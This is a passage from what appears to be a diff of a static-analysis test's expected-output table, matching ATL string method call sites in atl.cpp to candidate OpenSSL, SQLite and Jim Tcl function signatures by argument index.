ossl_quic_rxfc_on_rx_stream_frame | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const void *,int) | | SSL_write | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_peek | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_read | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,int,int) | | X509_check_purpose | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,int,int) | | X509_check_trust | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (action *,FILE *,int) | | PrintAction | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (acttab *,int,int) | | acttab_action | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | sqlite3_strnicmp | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,long *,int) | | Jim_StringToWide | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,int,int) | | ASN1_object_size | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (regex_t *,const char *,int) | | jim_regcomp | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned int,int,int) | | ossl_blob_length | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (void *,const char *,int) | | CRYPTO_secure_free | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_tag2str | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Jim_SignalId | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | PKCS12_init | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Symbol_Nth | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_tolower | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_toupper | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_errstr | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | tls13_alert_code | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2str | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Jim_SignalId | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | PKCS12_init | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Symbol_Nth | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_tolower | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_toupper | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_errstr | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | tls13_alert_code | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2str | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Jim_SignalId | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | PKCS12_init | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Symbol_Nth | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_tolower | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_toupper | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_errstr | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | tls13_alert_code | 0 | | atl.cpp:938:10:938:14 | SetAt | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:938:10:938:14 | SetAt | (const CStringT &,char) | | operator+ | 1 | | atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 0 | | atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:939:10:939:18 | SetString | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:939:10:939:18 | SetString | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:939:10:939:18 | SetString | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:939:10:939:18 | SetString | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| 